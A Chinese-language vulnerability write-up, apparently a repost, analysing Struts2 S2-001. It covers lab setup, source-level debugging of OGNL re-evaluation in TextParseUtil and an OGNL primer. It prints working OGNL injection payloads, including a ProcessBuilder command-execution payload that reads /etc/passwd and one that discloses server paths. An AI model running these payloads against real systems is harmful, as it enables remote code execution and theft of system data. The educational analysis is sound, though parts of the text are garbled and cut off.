struts2漏洞S2-001是當使用者提交表單資料且驗證失敗時,伺服器使用OGNL表達式解析使用者先前提交的參數值,%{value}並重新填入對應的表單資料。例如,在註冊或登入頁面中。如果提交失敗,則伺服器通常預設會傳回先前提交的資料。由於伺服器用於%{value}對提交的資料執行OGNL表達式解析,因此伺服器可以直接發送有效載荷來執行命令。
用vulhub複現漏洞可以省去環境的建構過程,相當方便。
vulhub官網位址:https://vulhub.org
啟動漏洞環境。
docker-compsoe up -d
輸入測試的payload
%{1+1}
可以看到我們的加法表達式成功執行了。
這次我們試試看指令執行,new java.lang.String[ {"cat","/etc/passwd"} 在這裡更改我們想要執行的命令。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
成功的讀取到了passwd檔。
下面給出三條利用語句:
取得tomcat路徑 |
---|
%{"tomcatBinDir{" @java.lang.System@getProperty("user.dir") "}"} |
#取得web路徑 |
---|
平台:win10
工具:Apache Tomcat 9.0.7,IntelliJ IDEA
下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。
这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。
目录结构如下。
需要如下几个包,下载地址:
http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。
接着发布我们导入的jar包,不然会报错。
接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list> </web-app>
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h3>S2-001 Demo</h3> <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
LoginAction.java
package com.demo.action; import com.opensymphony.xwork2.ActionSupport; public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; } }
src目录下新建struts.xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package> </struts>
漏洞部分代码
xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) { Object result = expression; while(true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { result = left + right; expression = left + right; } } }
运行我们搭建好的环境,记得开启debug模式
password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)
expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。
然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}
然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。
然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。
在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。
不是OGNL表达式时就会进入
判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。
也就不会对用户提交的参数进行ongl解析
if (loopCount > maxLoopCount) { // translateVariables prevent infinite loop / expression recursive evaluation break; }
这里搬运大佬总结好的东西。
OGNL 是Object-Graph Navigation Language 的縮寫,它是一種強大的表達式語言(Expression Language,簡稱為EL),透過它簡單一致的表達式語法,可以存取物件的任意屬性,調用物件的方法,遍歷整個物件的結構圖,實現字段類型轉換等功能。它使用相同的表達式去訪問物件的屬性。 OGNL 三要素:(以下部分摘抄互聯網某處, 我覺得說得好)
1、表達式(Expression)
#表達式是整個OGNL 的核心,所有的OGNL 操作都是針對表達式的解析後進行的。表達式會規定此次 OGNL 操作到底要做什麼。我們可以看到,在上面的測試中,name、department.name 等都是表達式,表示取 name 或 department 中的 name 的值。 OGNL 支援很多類型的表達式,之後我們會看到更多。
2、根物件(Root Object)
根物件可以理解為 OGNL 的操作物件。在表達式規定了 「幹什麼」 以後,你還需要指定到底「對誰幹」。在上面的測試程式碼中,user 就是根物件。這就意味著,我們需要對 user 這個物件去取 name 這個屬性的值(對 user 這個物件去設定其中的 department 中的 name 屬性值)。
3、上下文環境(Context)
有了表達式和根對象,我們實際上已經可以使用 OGNL 的基本功能。例如,根據表達式對根物件進行取值或設值工作。不過實際上,在 OGNL 的內部,所有的操作都會在特定的環境中運行,而這個環境就是 OGNL 的上下文環境(Context)。說得再明白一些,就是這個上下文環境(Context),將規定 OGNL 的操作 「在哪裡幹」。
OGN L 的上下文環境是一個 Map 結構,稱為 OgnlContext。上面我們提到的根物件(Root
Object),事實上也會被加入到上下文環境中去,並且這將作為一個特殊的變數進行處理,具體就表現為針對根物件(Root
Object)的存取操作的表達式是不需要增加#符號進行區分的。
#表達式功能操作清單: |
---|
1.基本物件樹的存取 物件樹的存取就是透過使用點號將物件的參考串連起來進行。 例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx2. 對容器變數的存取 對容器變數的訪問,透過#符號加上表達式進行。 例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx3. 使用操作符號 OGNL表達式中能使用的操作符基本上跟Java裡的操作符一樣,除了能使用, -, *, /, , --, ==, !=, = 等運算子之外,還能使用mod, in, not in等。 4. 容器、陣列、物件 OGNL支援對陣列和ArrayList等容器的順序存取:例如:group.users[0] 同時,OGNL支援對Map的按鍵值查找: 例如:# session['mySessionPropKey'] 不僅如此,OGNL也支援容器的建構的表達式: 例如:{"green", "red", "blue"}建構一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}建構一個Map 你也可以透過任意類別物件的建構子進行物件新建 例如:new Java.net.URL ("xxxxxx/")5. 對靜態方法或變數的存取 要引用類別的靜態方法和字段,他們的表達方式是一樣的@class@member或@class@method(args):6. 方法呼叫 直接透過類似Java的方法呼叫方式進行,你甚至可以傳遞參數: 例如:user.getName(),group.users.size(),group.containsUser(#requestUser)7.投影和選擇 OGNL支援類似資料庫中的投影(projection) 和選擇(selection)。 投影就是選出**中每個元素的相同屬性組成新的**,類似於關聯式資料庫的欄位操作。投影操作語法為 collection.{XXX},其中XXX 是這個**中每個元素的公共屬性。 例如:group.userList.{username}將會取得某個group中的所有user的name的清單。 選擇就是過濾符合selection 條件的**元素,類似關聯式資料庫的紀錄運算。選擇操作的語法為:collection.{X YYY},其中X 是選擇運算符,後面則是選擇用的邏輯表達式。而選擇操作符有三種: ? 選擇所有滿足條件的元素 ^ 選擇滿足條件的第一個元素 $ 選擇滿足條件的最後一個元素 例如:group.userList.{ ? #txxx.xxx != null}將取得某個group中user的name不為空的user的清單。 |
以上是struts2漏洞 S2-001實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!